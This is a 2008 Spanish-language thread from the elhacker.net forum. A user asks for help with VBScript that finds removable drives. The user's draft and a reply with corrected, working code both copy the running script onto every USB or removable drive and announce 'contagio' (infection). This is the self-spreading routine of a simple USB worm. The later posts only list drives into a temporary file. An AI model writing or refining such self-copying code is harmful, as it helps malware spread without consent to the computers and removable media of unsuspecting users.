Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Enemy en 11 Octubre 2008, 16:08 pm



Título: Reconocer unidades extraibles
Publicado por: Enemy en 11 Octubre 2008, 16:08 pm
Buenas tardes, Me pregunto como es el script correcto para reconocer si hay una o unas unidades extraibles como pendrive, hd externos, tarjetas, etc...

he hecho este codigo pero no me funciona.. :

Código:
Dim FSOvar
Dim Uni

Set FSOvar = createobject("scripting.filesystemobject")
Set Uni = FSOvar.drives
For each x in Uni do
L = x.Drivesletter
if L = true then Objfso.copyfile ".\archivo.vbs",&L&":\"
msgBox "contagio en " &L&
exit do
End if
next

Esta bien asi.??  :-\

He intendao varios codigos pero creo que este es el mas estable.. Si funcionara...  :¬¬

Si alguien puede ayudarme se lo agradeceria..



SALUD.O.S


Título: Re: Reconocer unidades extraibles
Publicado por: Novlucker en 11 Octubre 2008, 20:49 pm
Buenas... he de decir, que tu code necesita muchas mejoras  :P, aquí va...

Código
  1. Set FSOvar = createobject("scripting.filesystemobject")
  2. Set uni = FSOvar.drives
  3.  
  4. For each x in uni
  5. If x.driveletter <> "A" and x.drivetype = 1 then
  6. FSOvar.copyfile wscript.scriptfullname, x.driveletter &":\"
  7. msgbox "contagio en " & x.driveletter
  8. End If
  9. Next
  10.  

En lugar de ultilizar el nombre del script, utilizo wscript.scriptfullname que tiene la ruta completa del script en ejecución.
Y además, en el IF, utilizo drivetype = 1, ya que el tipo de disco 1 es extraíble  :P

Saludos  ;)


Título: Re: Reconocer unidades extraibles
Publicado por: washanwer en 30 Octubre 2008, 21:32 pm
O tambien puedes usar este, este creara un tmp, donde dira todas la unidades que encuentra..
Código:
On Error Resume Next

Const ForAppending = 8
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile("Extraible.tmp")
Set objLogFile = objFSO.OpenTextFile("Extraible.tmp", ForAppending, True)

Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\cimv2")
For Each objDisk in objWMIService.ExecQuery ("Select * from Win32_LogicalDisk")
    If objDisk.DriveType = "2" Or objDisk.DriveType = "3" Then
objLogFile.Write( objDisk.DeviceID)
objLogFile.writeline
End If
Next

salu2!


Título: Re: Reconocer unidades extraibles
Publicado por: Novlucker en 30 Octubre 2008, 21:43 pm
O tambien puedes usar este, este creara un tmp, donde dira todas la unidades que encuentra..
Código
  1. On Error Resume Next
  2.  
  3. Const ForAppending = 8
  4. Set objFSO = CreateObject("Scripting.FileSystemObject")
  5. objFSO.DeleteFile("Extraible.tmp")
  6. Set objLogFile = objFSO.OpenTextFile("Extraible.tmp", ForAppending, True)
  7.  
  8. Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\cimv2")
  9. For Each objDisk in objWMIService.ExecQuery ("Select * from Win32_LogicalDisk")
  10.    If objDisk.DriveType = "2" Or objDisk.DriveType = "3" Then
  11. objLogFile.Write( objDisk.DeviceID)
  12. objLogFile.writeline
  13. End If
  14. Next

salu2!

Principal desventaja... si estas en una pc sin privilegios, el utilizar el wmi puede dar problemas y puede que no funcione, fuera de eso es muy buena opción ;)

Saludos